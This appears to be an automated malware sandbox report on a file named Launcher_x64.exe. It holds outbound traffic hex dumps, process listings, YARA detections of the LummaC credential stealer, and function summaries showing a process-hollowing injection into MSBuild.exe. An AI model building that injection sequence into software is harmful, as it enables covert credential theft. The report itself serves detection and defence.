gtx@C7%F;0rC!gP=/0hlRbk%&IWRlhY"E-~swkEiqL=&BzA}g:x8u-tSwsy%m-,uJ: OmiO>c?;>JXU8Y~~15>h5^s<^8$?K@
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 69 7a 0c 86 89 0d 73 55 ba f7 23 00 76 e7 f6 5d e5 ae c6 f9 32 8d 38 aa f6 b7 bb 01 62 91 38 d4 75 d9 a2 0a c4 f7 d1 9a 34 d9 34 2f 03 23 97 92 25 e1 d0 eb 3b ae 3e cf 84 ab ca 19 ce a7 c4 65 ea cd b9 16 18 13 28 29 12 9f 66 30 73 0f 9a a8 21 7f fe 23 ac 8f 09 e8 ca 1a 4a fe e2 d7 e9 6d 8e cd 2d 30 6e 99 70 5b 4b 6d ed 81 f5 b3 78 c2 83 5b 4b c6 43 98 3c 8b a2 dc b7 35 fb 5b d8 63 93 9a 88 53 3d 66 93 0a b2 21 36 3a 43 6b 60 05 1f 45 ac a5 15 f7 b7 7e 8d 54 2c 28 c6 10 71 3b 71 09 5a 28 38 aa 58 f4 bd 8a 97 8f d4 43 35 e3 33 03 80 e8 d0 fb 28 8a 2a ef 99 f2 5c f4 ce 6d e7 d8 30 5d 53 6a 1c a5 ac 2e 8a 9c e9 19 a6 40 d5 e8 1d af 92 db 84 e0 b8 47 14 8c ea f7 6e 2e 80 2d a9 e9 ce 40 92 63 f2 2a 65 18 cb 24 27 06 48 dc dd e5 c2 3e cf 0f 82 7b 0f a8 a0 62 42 Data Ascii: izsU#v]28b8u44/#%;>e()f0s!#Jm-0np[Kmx[KC<5[cS=f!6:Ck`E~T,(q;qZ(8XC53(\m0]Sj.@Gn.-@ce$'H>{bB
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 24 e9 0d b5 cd 84 74 49 65 9a ec 3f af 0d ac cd b1 79 f3 34 11 81 db 3b 71 15 5c 98 b1 2b 61 17 6b 0e 61 7d 15 9d 22 fc b7 af c9 e9 b6 2c ff 9b 57 78 fe f0 c6 1b df 4b 98 69 6b 4e cd e1 94 8e f7 89 98 d9 53 44 7e fe f7 26 69 07 89 19 c2 79 42 a6 c2 90 fc f8 ea 19 17 0c d7 70 c9 8f e0 d7 c2 5d 3d 48 03 6c 2c 07 e6 1d f9 63 e9 67 5c f7 b9 38 f4 df 64 ee 1e a5 51 29 54 38 4f cb 5f 45 86 7b 6d 96 b7 ec 64 21 e7 c6 04 68 ef 26 48 0e 3b 47 4d b2 ff 5e 17 1d f0 5d 70 d9 2f 91 9f 85 cb 8c 5d 04 40 6a 92 fd f7 d1 14 e6 99 1e 48 e4 9b 48 fd 74 00 df c0 b5 6b 58 13 a5 74 4a d8 85 11 45 c8 85 6f d7 4c a5 e9 49 32 b8 79 01 b6 22 8c 19 98 f7 b9 ee c1 4f f2 88 4e bd 78 46 33 fc e0 eb ea c8 3c 8c f3 65 be da d1 66 aa 8f 0e 28 bb d6 5d b1 75 d6 8f db 71 26 6f d9 c5 c9 4a Data Ascii: $tIe?y4;q\+aka}",WxKikNSD~&iyBp]=Hl,cg\8dQ)T8O_E{md!h&H;GM^]p/]@jHHtkXtJEoLI2y"ONxF3<ef(]uq&oJ
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 54 cc 80 95 3b fe ee b1 b6 ed bb cc f2 db 86 86 86 de 47 51 c1 09 88 59 01 62 d9 d6 4b ba 62 57 a9 5e cf 27 8e dc 5a b4 dd fe 28 3d 8a ea 3a 1e ec 4a 18 d3 5a a8 9b cf 65 62 67 7b 06 3c 73 2a 55 31 ae 61 b6 93 1c f8 df f2 28 be 45 b1 3e f4 0c 5f 94 a9 48 bc 65 6d df 4f 46 08 b6 a9 f5 55 e5 2c 67 17 28 f5 31 ea e7 7c 5f ef f0 22 22 4c a3 4c 1a 22 dc a6 1b ff 9a 65 1d 6a c1 88 31 14 9f 44 88 63 bb 86 7c 6f f4 87 11 88 84 fc 7e 44 ca 3b 69 6a fa 74 ae 20 2d 81 75 33 63 81 68 16 7a 48 56 43 6b 47 4a 5b 72 77 d7 60 6e 51 2b 82 98 88 58 8d 98 7f 1b b4 f7 bb 91 7f 95 cb eb df 1f f2 d7 6d bf 04 2d 55 92 59 21 53 7b 57 21 1b 34 5e 7f d2 aa 9f 1a 32 dc 02 76 7d 2e b1 34 15 66 0f 6d 46 f7 70 1c 98 39 8b 7b dd 99 2a 1d ca 5e bb 04 3a fe 11 46 a7 bc b2 38 c4 15 e2 18 Data Ascii: T;GQYbKbW^'Z(=:JZebg{<sU1a(E>_HemOFU,g(1\|_""LL"ej1Dc\|o~D;ijt -u3chzHVCkGJ[rw`nQ+Xm-UY!S{W!4^2v}.4fmFp9{^:F8
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: fe 3f d3 38 b4 ff 20 a0 6c 59 10 ce 7e b6 1f 09 af b5 18 5e fe df a1 1d 00 da 97 b0 dc a7 7f 11 45 7d 45 c1 f1 72 65 f5 03 cd 56 40 f2 46 74 da 69 76 f1 fc 99 1d b6 dc a6 d8 98 4c a9 06 9a a6 24 2d 6c d2 4d 92 65 a6 b3 bd 9f dd ab 5a 14 7c 09 57 ab c3 90 e4 33 d7 5a 88 4e 34 f7 68 40 e0 65 7e 9f 16 83 fd ee f3 7a 0a e1 5c 14 89 df 55 3f 81 a3 66 2b 05 b5 44 41 d4 8f 53 44 19 3e 2b b1 48 51 77 70 f3 fe 8d aa 10 57 93 f2 37 db 2a 08 12 3a 5c e7 25 9f 87 45 97 bc 49 66 fc 96 b0 c0 ed f8 96 15 bd e8 98 2d 07 47 7a 1a 1a 4e e1 64 a3 95 03 4a 08 04 c2 f3 50 1e 26 00 53 f3 ca b3 c8 8e 73 b8 9c d3 35 bc 7c 3c fc 65 31 87 1c fd 59 3d 7a f0 26 ab 6a cd 67 3d 5d 9f d3 0d 9a 56 3a 4f d5 fc 3a cc b9 e5 9f 69 f3 9a 81 e1 6f 15 bc 49 4c 51 66 bf cf 23 f9 8f ef 7f 5d e4 Data Ascii: ?8 lY~^E}EreV@FtivL$-lMeZ\|W3ZN4h@e~z\U?f+DASD>+HQwpW7*:\%EIf-GzNdJP&Ss5\|<e1Y=z&jg=]V:O:ioILQf#]
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 56 95 c0 27 7c 52 ed ce 32 4d 9b 62 c1 c0 e6 34 e0 34 b9 c5 d3 fd 9c 66 d7 6d 5f f6 59 c9 64 13 e2 75 fc 38 7f b5 24 f8 74 86 d1 5d 5c c2 5e b6 ff 46 85 80 5e 51 e2 43 e7 fa d0 9e e5 38 df 66 8e ab 41 41 84 e1 93 08 fc fa db 90 24 9b b6 6f 51 c5 fe ba a4 86 8e 01 0b 72 c3 88 40 ad 71 74 44 e6 27 65 74 a4 4e a7 67 97 ff 93 3f 67 91 42 6a ae 25 97 b0 7a 83 f2 9b 39 aa e5 4f 91 fe b0 e7 f6 d8 90 7b 66 a6 3a 9e e7 ab 82 ca 54 92 3d ed 92 b8 b0 03 4d d7 5c 89 8e f2 99 5e 56 16 ad d7 e2 e5 9f 4b a1 bf 3c 9b 28 09 d4 9e f3 e9 16 00 3c a9 b9 4e 8f d3 e2 31 31 ce 2e bf 58 7f 08 9f 71 50 d4 bb 29 30 b0 4c ec 66 d3 e3 73 8f a4 a8 30 8c c4 ed 7a 01 d1 cd d3 2f 94 b9 ee 04 40 c0 df fa 96 6c 50 9f 32 c8 1d 2c d7 f9 89 85 c0 ba f6 e1 fe 3f fd 42 e9 07 24 bd 7d 2c 30 e2 Data Ascii: V'\|R2Mb44fm_Ydu8$t]\^F^QC8fAA$oQr@qtD'etNg?gBj%z9O{f:T=M\^VK<(<N11.XqP)0Lfs0z/@lP2,?B$},0
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: 65 79 5f 04 b0 1d 70 17 07 3f 39 72 f3 bd b1 69 7c 98 57 9b d3 90 67 2e bd 50 86 6f e1 47 37 98 79 b3 a9 f5 9e ad c3 17 4f e5 32 b6 c9 9d a0 0c e2 f8 04 08 42 54 14 5c b6 3b 4b 74 8d 1f 8c 9b 7b 9b e4 23 08 09 08 bd ca f8 2f 7d 07 06 78 6c 51 55 90 ae f0 4f fb 7b 4c fa 14 fa f2 13 9c 7a 73 26 1a c7 4c 0a d5 bb 17 07 23 18 80 57 d3 f0 d6 c8 7b e3 2b 22 2d 43 bd a7 02 e3 3c 45 54 6f 1a df 58 43 3f 59 e1 63 51 4d 8c 00 5a b5 75 d1 66 80 a0 de 34 b2 cd e2 fe c8 c0 3a 75 50 52 ed fd 45 d2 2a ad f8 ea f2 bc 06 62 3e 21 d0 84 db 83 7f ad 8f 98 11 ed 3c d7 bc bb 91 3f 61 33 53 7c 2d dc e6 a2 2c 3c 94 61 41 d4 0c 3b 4f dd 21 af f5 74 9c bf 20 1b 2c 4d af f5 7e 8b d6 82 9e 48 fd 19 7f 74 bb 29 32 69 f4 7d b9 95 c5 bd 08 f2 e9 b8 e2 7b d4 7d e3 6e 35 f6 8a f1 f2 04 Data Ascii: ey_p?9ri\|Wg.PoG7yO2BT\;Kt{#/}xlQUO{Lzs&L#W{+"-C<EToXC?YcQMZuf4:uPRE*b>!<?a3S\|-,<aA;O!t ,M~Ht)2i}{}n5
2024-12-23 00:18:29 UTC	15331	OUT	Data Raw: c4 89 40 1d 1e 8e d2 17 83 ad 4f 86 e3 80 62 35 b8 1b ea 7f c6 68 b7 a7 ab 5a 66 ea d0 34 b5 ff 30 77 6a 4c e9 44 56 b2 53 49 60 96 0a b8 76 f8 70 9f bc 52 ec 42 ed aa 80 8a 5e ca 52 63 fa ae 0c 45 3e dc 7f 35 f6 5a 57 b2 fa e5 56 6d f1 ed 42 4a b7 2e 15 22 69 9e 63 62 bb 2e 16 86 5f 70 f1 19 0b 55 bf 9b 10 5d 53 f1 06 41 cb 7e 07 58 7d aa 72 37 b1 86 81 02 57 3d 29 aa 52 f3 96 e2 b6 79 38 bd d1 93 c6 bc fc dc 3f 03 6e af bd 71 5d 9e d0 73 6f 19 d0 ea 89 5e c5 80 33 6b b2 71 f0 ed f3 4d 94 da 18 f8 da 73 f7 a9 d3 ba e7 81 de 76 e8 9f e1 b8 fd 40 ef a6 98 5d 98 ed 29 e2 bf 3b 2a af 7d 2f 93 97 6a a9 0e 46 54 28 ca 5d 84 28 7b d5 7b 5a 62 4e 3a 61 07 e3 1c d8 4d cd 69 5a dc cd 5f fb 4f cf 60 95 60 41 a0 2f bf 2d 07 0d a3 42 f9 c6 7d c0 98 a4 87 01 db 61 b2 Data Ascii: @Ob5hZf40wjLDVSI`vpRB^RcE>5ZWVmBJ."icb._pU]SA~X}r7W=)Ry8?nq]so^3kqMsv@]);*}/jFT(]({{ZbN:aMiZ_O``A/-B}a
2024-12-23 00:18:31 UTC	1129	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 00:18:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=in6scgf6o97qgs0edif1avhqei; expires=Thu, 17 Apr 2025 18:05:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xETsEUYmbJGt6ozXMCH82t9dwzkPREB%2FaPnm0Q3ROUT9XptmdBzXDRbZOGzgrVIRAGs%2FRi1jeOast6enT7oS3E8hTre953whn9LpdHCrDGs2JNxYpE4C0JcNr7n3o6gQJyc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f642cb44dab0f95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1644&rtt_var=623&sent=312&recv=595&lost=0&retrans=0&sent_bytes=2834&recv_bytes=567473&delivery_rate=1748502&cwnd=169&unsent_bytes=0&cid=f8421cea7f3c1feb&ts=2922&x=0"

Target ID:	0
Start time:	19:17:03
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Launcher_x64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher_x64.exe"
Imagebase:	0xd00000
File size:	575'488 bytes
MD5 hash:	A467477E289901E8C45912F98FC56CD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	19:17:03
Start date:	22/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	19:17:04
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Launcher_x64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Launcher_x64.exe"
Imagebase:	0xd00000
File size:	575'488 bytes
MD5 hash:	A467477E289901E8C45912F98FC56CD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	19:17:04
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Launcher_x64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Launcher_x64.exe"
Imagebase:	0xd00000
File size:	575'488 bytes
MD5 hash:	A467477E289901E8C45912F98FC56CD2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000003.00000003.2556263712.0000000001093000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000003.00000003.2602917926.0000000001093000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000003.00000002.2611002767.0000000001073000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000003.00000003.2555293768.0000000001093000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2530628830.000000000103B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.2530449435.0000000001036000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	1.7%
Signature Coverage:	3.1%
Total number of Nodes:	521
Total number of Limit Nodes:	6

Executed Functions

Function 00D3F19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,00D3F110,00D3F100), ref: 00D3F334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00D3F347
Wow64GetThreadContext.KERNEL32(00000238,00000000), ref: 00D3F365
ReadProcessMemory.KERNELBASE(00000234,?,00D3F154,00000004,00000000), ref: 00D3F389
VirtualAllocEx.KERNELBASE(00000234,?,?,00003000,00000040), ref: 00D3F3B4
TerminateProcess.KERNELBASE(00000234,00000000), ref: 00D3F3D3
WriteProcessMemory.KERNELBASE(00000234,00000000,?,?,00000000,?), ref: 00D3F40C
WriteProcessMemory.KERNELBASE(00000234,00400000,?,?,00000000,?,00000028), ref: 00D3F457
WriteProcessMemory.KERNELBASE(00000234,?,?,00000004,00000000), ref: 00D3F495
Wow64SetThreadContext.KERNEL32(00000238,00A50000), ref: 00D3F4D1
ResumeThread.KERNELBASE(00000238), ref: 00D3F4E0

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 00D3F333
VirtualAllocEx, xrefs: 00D3F29C
ress, xrefs: 00D3F226
ResumeThread, xrefs: 00D3F2D8
CreateProcessW, xrefs: 00D3F250
Load, xrefs: 00D3F1DA
SetThreadContext, xrefs: 00D3F2C2
GetP, xrefs: 00D3F21E
GetThreadContext, xrefs: 00D3F276
VirtualAlloc, xrefs: 00D3F263
TerminateProcess, xrefs: 00D3F3C3
aryA, xrefs: 00D3F1E2
ReadProcessMemory, xrefs: 00D3F289
WriteProcessMemory, xrefs: 00D3F2AF

Memory Dump Source

Source File: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: 045249823c58810deb4379e5bfa476f2152e717e5a6a14cfc1d4eb1940260b2c
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: B7B1F97664064AAFDB60CF68CC80BDA73A5FF88714F158124EA0CAB341D774FA51CBA4

Function 00D240F9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,E7FA7683,?,00D24208,00D03E32,?,00000000,?), ref: 00D241BA

Strings

api-ms-, xrefs: 00D24150
ext-ms-, xrefs: 00D24164

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e1b2a30326aca85056b474640c2694a1a7fb7e4afb5108da6d0e2efb620827e9
Instruction ID: 085cc1d4ec07c4ecb6de441a293fa9104b3fba6893152b87d4fd31ec95b4c2e9
Opcode Fuzzy Hash: e1b2a30326aca85056b474640c2694a1a7fb7e4afb5108da6d0e2efb620827e9
Instruction Fuzzy Hash: 9721D235A01331ABD7229B65FC45A5A375ADF717A8F290220FD15E7390E630EE60CAB0

Function 00D01890 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00D01913
GetFileSize.KERNEL32 ref: 00D01942
CloseHandle.KERNEL32 ref: 00D0195E

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 42be21327a0a5c74ac7ec5dfa785c1521b9d48e6f2418f16775b72bb53d3b26d
Instruction ID: 70404eaed23b885386260762f211daf3b616366ed547e8b94eb05bee4214a340
Opcode Fuzzy Hash: 42be21327a0a5c74ac7ec5dfa785c1521b9d48e6f2418f16775b72bb53d3b26d
Instruction Fuzzy Hash: 0C719EB4D05248CFDB00EFA8D58879DBBF0BF48304F14852AE899AB391D734A945CF62

Function 00D08730 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 00D08890
_strcspn.LIBCMT ref: 00D088BE

Strings

@, xrefs: 00D08B89

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: c360125d38494724fadd780d9f32c0c235736ac8601505d4fc78935594ef1493
Instruction ID: e8326018d1d9473a0fd6fdf1c772b1e66621cf0ea287dfa24a9357d628c3a0ff
Opcode Fuzzy Hash: c360125d38494724fadd780d9f32c0c235736ac8601505d4fc78935594ef1493
Instruction Fuzzy Hash: CA32C4B49052698FDB14DF64C981B9DFBF1BF48300F0585AAE88DA7351D730AA85CFA1

Function 00D01730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00D01798
VirtualProtect.KERNELBASE ref: 00D01848

Strings

@, xrefs: 00D0183C

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: 8e647d5daf176f1f0c941a4d56e39aef4e744eb72f3e4571ea37906854ecbc1d
Instruction ID: 92f61f758575f4dbed5797636f61cbaa2a22749ac0a42adce806a1c49c230d7b
Opcode Fuzzy Hash: 8e647d5daf176f1f0c941a4d56e39aef4e744eb72f3e4571ea37906854ecbc1d
Instruction Fuzzy Hash: EC41B0B4D053089FCB04DFA9D98579EBBF0EF48314F108429E858AB391D775A984CFA5

Function 00D1CAD7 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00D1C9E4,?,00D1CB99,00000000,?,?,00D1C9E4,E7FA7683,?,00D1C9E4), ref: 00D1CAE8
TerminateProcess.KERNEL32(00000000,?,00D1CB99,00000000,?,?,00D1C9E4,E7FA7683,?,00D1C9E4), ref: 00D1CAEF
ExitProcess.KERNEL32 ref: 00D1CB01

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 02a730f9504c5c1dbd98931af6681a6e377ac30185bf3cb26fa3c31bdd4a0bec
Instruction ID: 950b21975b3fc26656800bc4cce08d66eb41cd792cff62c817b24e8c6ef3491f
Opcode Fuzzy Hash: 02a730f9504c5c1dbd98931af6681a6e377ac30185bf3cb26fa3c31bdd4a0bec
Instruction Fuzzy Hash: D5D09231050208BBCF02AF61FC0D9CD3F6AEF40381B146051B9499A271DF71A9D2DEB0

Function 00D050C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00D050DB

Part of subcall function 00D1277A: _Yarn.LIBCPMT ref: 00D1279A
Part of subcall function 00D1277A: _Yarn.LIBCPMT ref: 00D127BE

Strings

bad locale name, xrefs: 00D0514B

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: Yarn$LockitLockit::_std::_
String ID: bad locale name
API String ID: 360232963-1405518554
Opcode ID: 33ddc22013f876107671c2f3f33aa3810f319e66a88ebd63cc554723de629ed6
Instruction ID: c6f54cd598f3987fad9d5d85a784fbce16b7da38f2389502025b208a63028ed5
Opcode Fuzzy Hash: 33ddc22013f876107671c2f3f33aa3810f319e66a88ebd63cc554723de629ed6
